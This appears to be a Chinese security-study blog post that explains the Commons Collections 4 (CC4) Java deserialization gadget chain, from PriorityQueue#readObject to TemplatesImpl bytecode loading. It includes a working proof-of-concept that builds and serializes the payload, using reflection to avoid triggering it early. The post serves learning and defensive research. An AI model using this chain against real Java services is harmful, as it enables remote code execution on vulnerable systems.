java安全-CC4

  • 环境

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    oracle_jdk8u65
    https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html

    open_jdk8u65
    https://hg.openjdk.org/jdk8u/jdk8u/jdk/rev/af660750b2f4
    https://github.com/openjdk/jdk8u/releases/tag/jdk8u71-b15
    jdk-af660750b2f4\src\share\classes\sun

    maven_3.6.3
    https://archive.apache.org/dist/maven/maven-3/3.6.3/binaries/
    教程:https://blog.csdn.net/MSDCP/article/details/127680844

    commons-collections4.0
    <dependency>
    <groupId>org.apache.commons</groupId>
    <artifactId>commons-collections4</artifactId>
    <version>4.0</version>
    </dependency>

    CC4 绕过的是Commons collections3 的防护,同时也只适用于 Commons collections4 版本

一、主要链路逻辑

CC4 主要是对入口点以及 transformer 调用上做出了改变,也就是反序列化的对象

1.transformer 出口

TransformingComparatorcompare方法调用了transformer方法

image-20260125211726606

1
TransformingComparator comparator = new TransformingComparator(chainedTransformer);

2.readObject入口

  • PriorityQueue#readObject

    image-20260125212114072

    这个类中调用了heapify方法

  • PriorityQueue#heapify

    image-20260125212216922

    PriorityQueue#siftDown

    image-20260125212323743

    又调用了siftDownUsingComparator方法

  • PriorityQueue#siftDownUsingComparator

    image-20260125212419319

    就在这里,调用了我们最想看到的 compare 方法

1
PriorityQueue<Object> queue = new PriorityQueue<>(comparator);

二、poc

1.需要解决的条件

PriorityQueue#heapify

image-20260125212216922

这个方法中又进一步调用了siftDown方法

但是这里有一个条件需要满足

1
2
for (int i = (size >>> 1) - 1; i >= 0; i--)
siftDown(i, (E) queue[i]);

想要运行我们接下来的siftDown函数,必须要使得size大于2才可以进行一次循环

(size >>> 1) - 1 是什么意思?

  • size: 队列中元素的总个数。
  • >>> 1: 无符号右移 1 位,在数学上等同于 除以 2
  • - 1: 因为数组下标是从 0 开始的。

所以size需要大于等于2

通过自带的add方法增加size大小

1
2
queue.add(1);
queue.add(1);

但是,第二次 add(1):

  • 队列里已经有一个元素了。
  • 新元素放入数组末尾,然后调用 siftUp(上浮) 来维持堆的性质。
  • siftUp 会调用 comparator.compare() 来比较新元素和父节点!

后果: 如果在 new PriorityQueue 时传入的是已经配置好 Runtime.exec 的恶意 comparator,那么在你写 Payload 代码运行到第二行 add 的时候,就会弹出计算器,而不是生成 Payload 文件

因此,我们通过反射修改,防止走火

1
2
3
4
5
6
7
8
9
10
Transformer[] chuan0000 = new Transformer[]{new ConstantTransformer(1)};
Transformer chainedTransformer = new ChainedTransformer(chuan0000);

TransformingComparator comparator = new TransformingComparator(chainedTransformer);
PriorityQueue<Object> queue = new PriorityQueue<>(comparator);
//添加两个元素
queue.add(1);
queue.add(1);

setFieldValue(chainedTransformer, "iTransformers", chuan);

2.完整

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
byte[] code = Files.readAllBytes(Paths.get("D:\\小川\\code\\javasec\\CC1\\target\\classes\\CC1\\HelloTranslet.class"));
TemplatesImpl obj = new TemplatesImpl();
//反射修改内部属性
setFieldValue(obj, "_bytecodes", new byte[][] {code});
setFieldValue(obj, "_name", "HelloTemplatesImpl");


InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{obj});
Transformer constantTransformer = new ConstantTransformer(TrAXFilter.class);

Transformer[] chuan = new Transformer[]{constantTransformer, instantiateTransformer};

Transformer[] chuan0000 = new Transformer[]{new ConstantTransformer(1)};
Transformer chainedTransformer = new ChainedTransformer(chuan0000);

TransformingComparator comparator = new TransformingComparator(chainedTransformer);
PriorityQueue<Object> queue = new PriorityQueue<>(comparator);
//添加两个元素
queue.add(1);
queue.add(1);
setFieldValue(chainedTransformer, "iTransformers", chuan);

serialize(queue);
unserialize();

3.版本问题

commos collections3 不能使用的主要原因是只有4的TransformingComparator实现了序列化接口

image-20260125214902242

commos collections 身世问题

image-20260125225503009

4.总结

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
PriorityQueue#readObject
PriorityQueue#heapify
PriorityQueue#siftDown
PriorityQueue#siftDownUsingComparator
TransformingComparator#compare

CC3部分
ChainedTransformer#transform
InstantiateTransformer#transform
TrAXFilter#getConstructor
TemplatesImpl#newTransformer
TemplatesImpl#getTransletInstance
TemplatesImpl#defineTransletClasses
TemplatesImpl#defineClass
加载恶意字节码